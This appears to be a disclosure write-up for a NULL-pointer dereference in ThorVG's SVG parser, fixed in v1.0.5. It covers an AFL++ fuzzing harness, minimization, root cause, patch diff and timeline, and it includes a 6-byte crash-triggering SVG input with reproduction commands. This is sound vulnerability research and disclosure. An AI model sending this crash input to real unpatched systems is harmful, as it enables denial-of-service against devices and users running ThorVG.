Share
## https://sploitus.com/exploit?id=PACKETSTORM:226545
# CVE-2026-45729 β€” ThorVG NULL Pointer Dereference via Malformed SVG
    
    **Severity:** CVSS 4.3 (Medium) β€” CWE-476  
    **Advisory:** [GHSA-f863-8ghq-7h64](https://github.com/advisories/GHSA-f863-8ghq-7h64)  
    **Fixed:** ThorVG v1.0.5  
    **Status:** Patched / Disclosed
    
    ---
    
    ## Summary
    
    ThorVG's SVG parser dereferences a pointer that is never initialized when it encounters a
    truncated child element tag inside a root `<svg>` node. The bug is reachable through the
    normal rendering path (`tvg::Picture::load` β†’ parse β†’ render) and can be triggered with
    a **6-byte** input.
    
    The worst-case impact on standard Linux is a process crash (DoS) β€” `mmap_min_addr` prevents
    mapping the NULL page, so the fault is not directly exploitable for code execution in that
    environment. On MMU-less targets where ThorVG is also used (Tizen, LVGL-based firmware) the
    exploitability picture is different and warrants a closer look.
    
    ---
    
    ## Target selection rationale
    
    ThorVG is a cross-platform vector graphics engine written in C++17. It is the default SVG/Lottie
    renderer in **Samsung Tizen OS**, is bundled in **LVGL** (widely used in embedded/IoT UI),
    and is distributed as a standalone library on multiple platforms.
    
    The library processes untrusted SVG/JSON input and is often exposed in contexts without privilege
    separation. Parser code in graphics libraries has historically been a reliable source of memory
    safety bugs β€” ThorVG is actively developed and at the time of this research had no recorded
    fuzzing coverage in public bug trackers.
    
    ---
    
    ## Fuzzing setup
    
    ### Harness
    
    The harness wraps ThorVG's in-memory load API so AFL++ can drive the parser directly without
    disk I/O.
    
    ```cpp
    // fuzz_thorvg.cpp
    #include <cstdint>
    #include <cstring>
    #include <thorvg.h>
    
    extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
        if (size == 0) return 0;
    
        tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
    
        auto canvas = tvg::SwCanvas::gen();
        uint32_t buf[64 * 64] = {};
        canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
    
        auto picture = tvg::Picture::gen();
        // Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
        if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
                == tvg::Result::Success) {
            canvas->push(tvg::cast(picture));
            canvas->draw();
            canvas->sync();
        }
    
        tvg::Initializer::term(tvg::CanvasEngine::Sw);
        return 0;
    }
    ```
    
    Build with ASAN + coverage instrumentation:
    
    ```bash
    clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
        -fcoverage-mapping -O1 -g \
        fuzz_thorvg.cpp -o fuzz_thorvg \
        $(pkg-config --cflags --libs thorvg)
    ```
    
    ### Seed corpus
    
    Starting from scratch with random bytes performs poorly on format-sensitive parsers.
    I seeded the corpus with a set of structurally valid minimal SVG files covering:
    
    - Empty SVG (`<svg xmlns="..."/>`)
    - SVG with basic shapes (`<rect>`, `<circle>`, `<path>`)
    - SVG with a nested `<g>` group
    - SVG with a `<use>` xlink reference
    - A small Lottie/JSON animation (ThorVG also handles this format)
    
    Structure-aware seeds cut the time to first interesting paths from hours to under 20 minutes
    in my environment.
    
    ### AFL++ flags
    
    ```bash
    AFL_AUTORESUME=1 afl-fuzz \
        -i corpus/ \
        -o findings/ \
        -x svg.dict \
        -m none \
        -- ./fuzz_thorvg @@
    ```
    
    `-x svg.dict` β€” AFL++ token dictionary with SVG keywords to help mutate toward valid tag names.  
    `-m none` β€” ASAN shadow memory requires disabling AFL++'s memory limit.
    
    ---
    
    ## Crash discovery
    
    AFL++ produced a crash after approximately **3 hours** of single-core fuzzing.
    The initial crashing input was ~180 bytes. The ASAN output:
    
    ```
    ==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
    SEGV on address NULL
    #0 in tvg::SvgParser::_parseStyle(...)
    #1 in tvg::SvgParser::_createElement(...)
    #2 in tvg::SvgParser::parse(...)
    #3 in tvg::SvgLoader::read()
    ...
    ```
    
    The fault is a read through an uninitialized (NULL) `SvgNode*` pointer inside `_parseStyle`.
    The pointer is expected to be set by `_createElement` when it processes a child element,
    but a truncated tag name causes the element to be skipped without the pointer being assigned,
    and `_parseStyle` proceeds to dereference it regardless.
    
    ---
    
    ## Minimization
    
    Minimized with `afl-tmin`, then manual pruning:
    
    ```bash
    afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
    ```
    
    After `afl-tmin` the input was 14 bytes. Manual inspection of the parse path showed only the
    first 6 bytes were consumed before the fault:
    
    ```
    <svg><
    ```
    
    `<svg>` opens the root node. `<` starts a child element tag. The parser reads the tag name,
    gets an empty string (the input ends immediately after `<`), skips element creation, and
    falls through into `_parseStyle` with the node pointer still NULL.
    
    Confirm the 6-byte trigger reproduces:
    
    ```bash
    printf '<svg><' | ./fuzz_thorvg /dev/stdin
    # or
    echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
    ```
    
    ---
    
    ## Root cause
    
    ```
    src/loaders/svg/tvgSvgParser.cpp
    ```
    
    Simplified pseudocode of the vulnerable flow:
    
    ```cpp
    // _createElement returns nullptr when tag name is empty
    SvgNode* node = _createElement(tagName);   // tagName == "" β†’ returns nullptr
    
    // No NULL check before passing into style parser
    _parseStyle(node, attributes);             // ← dereferences node->style at offset 0x18
    ```
    
    The fix in v1.0.5 adds an early return in the element dispatch loop when `_createElement`
    returns `nullptr`, before any attribute/style processing is attempted.
    
    ---
    
    ## Exploitability analysis
    
    ### Standard Linux (CVSS 4.3 / Medium)
    
    `/proc/sys/vm/mmap_min_addr` is typically set to `65536` on modern distros.
    The NULL page is not mapped, so the CPU raises a SIGSEGV that the kernel converts to
    a signal to the process β€” result is a **crash (DoS)**. No controlled write, no PC
    control, not directly exploitable for code execution.
    
    ### Embedded / MMU-less targets
    
    ThorVG is a first-class citizen in **Tizen** (Samsung IoT/wearable OS) and is integrated
    into **LVGL**, which runs on microcontrollers and systems without an MMU.
    
    On MMU-less systems there is no memory protection and `mmap_min_addr` does not apply.
    If the NULL page is mapped (which is common in bare-metal embedded environments), a NULL
    pointer dereference can potentially point into attacker-controlled memory. Whether this
    is reachable in a real attack depends on the attack surface β€” ThorVG on a Tizen device
    may parse SVG from untrusted network sources or user-supplied content.
    
    This context is what justifies responsible disclosure even for a CVSS Medium finding.
    
    ---
    
    ## Disclosure timeline
    
    | Date | Event |
    |---|---|
    | 2026-xx-xx | Crash discovered via AFL++ |
    | 2026-xx-xx | Root cause confirmed under ASAN; 6-byte POC produced |
    | 2026-xx-xx | Private report sent to ThorVG maintainer (hermet) via GitHub Security Advisory |
    | 2026-xx-xx | Maintainer acknowledged and opened private fork |
    | 2026-xx-xx | Patch merged into v1.0.5 |
    | 2026-xx-xx | GHSA-f863-8ghq-7h64 published; CVE-2026-45729 assigned |
    
    ---
    
    ## Patch diff (summary)
    
    The patch adds a NULL guard in the SVG element dispatch loop:
    
    ```cpp
    // before (vulnerable)
    SvgNode* node = _createElement(tag);
    _parseStyle(node, attrs);   // unconditional
    
    // after (v1.0.5)
    SvgNode* node = _createElement(tag);
    if (!node) continue;        // skip if element was not created
    _parseStyle(node, attrs);
    ```
    
    Full diff: [ThorVG v1.0.5 release](https://github.com/thorvg/thorvg/releases/tag/v1.0.5)
    
    ---
    
    ## Reproduction (safe, local only)
    
    ```bash
    # build from source with ASAN
    git clone https://github.com/thorvg/thorvg && cd thorvg
    git checkout <vulnerable-tag-before-v1.0.5>
    meson setup build -Db_sanitize=address && ninja -C build
    
    # compile harness against the built library
    clang++ -std=c++17 -fsanitize=address -O1 -g \
        fuzz_thorvg.cpp -o fuzz_thorvg \
        -Ibuild/src/include -Lbuild/src -lthorvg
    
    # trigger
    printf '<svg><' | ./fuzz_thorvg /dev/stdin
    ```
    
    Expected output: ASAN report with `SEGV on unknown address 0x000000000000` in
    `tvg::SvgParser::_parseStyle`.
    
    ---
    
    ## References
    
    - [GHSA-f863-8ghq-7h64](https://github.com/advisories/GHSA-f863-8ghq-7h64)
    - [ThorVG project](https://github.com/thorvg/thorvg)
    - [CWE-476: NULL Pointer Dereference](https://cwe.mitre.org/data/definitions/476.html)
    - [AFL++ documentation](https://aflplus.plus/)
    
    ---
    
    *Found by yeahhbean (이예빈) via AFL++ coverage-guided fuzzing with structure-aware SVG seed corpus.*